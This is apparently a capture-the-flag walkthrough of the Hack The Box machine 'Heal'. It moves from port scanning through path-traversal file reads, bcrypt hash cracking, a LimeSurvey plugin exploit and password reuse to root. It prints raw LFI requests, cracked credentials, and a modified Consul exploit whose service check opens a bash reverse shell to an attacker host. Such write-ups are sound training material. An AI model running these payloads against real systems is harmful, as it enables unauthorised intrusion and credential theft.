Just some 0xW1LD stuff...
by 0xW1LD
nmap
find the following ports open:
1
2
3
4
5
6
7
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-07 18:10 AEDT
Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Service Version scan and Default scripts show the following information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68af80866e617ebf0bea1052d77a943d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52f48df1c785b66fc65fb2dba61768ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 800D9D6AD40E40173F19D5EE9752AC18
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Heal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Looking though the webpage Heal
We find a resume builder.
Attempting to register we run into something went wrong!
This is because the site requesting api.heal.htb
which isn’t in our hosts file:
Successfully registering immediately logs the user in and redirects them to /resume
In this page clicking the Export As PDF
button sends a POST
request to api.heal.htb/exports
to export our PDF data, and then api.heal.htb/download?filename=
to download our exported PDF.
We also see /profile
with an interesting id
and admin
parameters
Another page is: /survey
which leads to take-survey.heal.htb
` LimeSurvey Community Edition Version 6.6.4 `
The survey site is powered by Lime-Survey
and we can see admin: ralph
/admin
takes us to /index.php/admin/authentication/sa/login
:
Vulnerable to: cve-2021-44967
api.heal.htb
shows us that it is running Ruby 3.3.5 on Rails 7.1.4
Playing around with the POST
request sent by the download
button we can find an LFI
api.heal.htb/downloads?filename=
1
2
3
4
5
6
7
8
9
10
GET /download?filename=../../../../../../../../../../etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
Connection: keep-alive
Referer: http://heal.htb/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 07 Feb 2025 07:38:00 GMT
Content-Type: application/octet-stream
Content-Length: 2120
Connection: keep-alive
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers:
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: attachment; filename="passwd"; filename*=UTF-8''passwd
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: 0a9cf58b-919f-471f-a15e-9f19bf0a5579
x-runtime: 0.002584
vary: Origin
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash
config/database.yml
Looking around for interesting files for Ruby on Rails we can eventually find this:
1
2
3
4
5
6
7
8
9
10
GET /download?filename=../../config/database.yml HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
Connection: keep-alive
Referer: http://heal.htb/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 07 Feb 2025 07:53:07 GMT
Content-Type: application/x-yaml
Content-Length: 636
Connection: keep-alive
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers:
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
content-disposition: attachment; filename="database.yml"; filename*=UTF-8''database.yml
content-transfer-encoding: binary
cache-control: no-cache
x-request-id: f6341a0e-eafa-45db-b6f2-254f7ac8d64b
x-runtime: 0.002526
vary: Origin
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default database: storage/development.sqlite3 # Warning: The database defined as "test" will be erased and # re-generated from your development database when you run "rake" . # Do not set this db to the same as development or production. test: <<: *default database: storage/test.sqlite3 production: <<: *default database: storage/development.sqlite3
Seeing that we have found the location of the database: storage/development.sqlite3
downloading the file we can access it through sqlite3
:
1
2
sqlite> select * from users;
ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
Cracking password:
1
2
3
4
5
6
7
8
9
10
11
# john --wordlist=`fzf-wordlists` ralph.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] truncated (property of the hash)
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
147258369 (?)
1g 0:00:00:04 DONE (2025-02-07 19:05) 0.2188g/s 126.0p/s 126.0c/s 126.0C/s 12345678910..parola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
the password only works to login on http://heal.htb
and http://take-survey.heal.htb
Retrying the LFI gives the same permissions even as admin.
Updates to PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>w1ld</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>w1ld</author>
- <version>5.0</version>
+ <version>6.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : w1ld]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
+ <version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
Following instructions on the github gets us shell
as www-data
shell as www-data
we find the following in : /var/www/limesurvey/application/config
1
2
3
4
5
6
7
8
9
10
<SNIP>
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
</SNIP>
This password is ron
’s password re-used.
Just like that we have User!
Checking for listening ports as ron
found a lot of ports listening:
1
2
3
4
5
6
7
8
9
10
11
12
13
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Consul
is running on 127.0.0.1:8500/ui/
Using: PoC
Updates:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul
import requests, sys
- if len(sys.argv) < 6:
+ if len(sys.argv) < 5:
print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
exit(1)
target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
- headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
try:
- requests.put(target, headers=headers, json=json)
+ requests.put(target, json=json)
print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
executing this leads to root shell
Just like that we have root!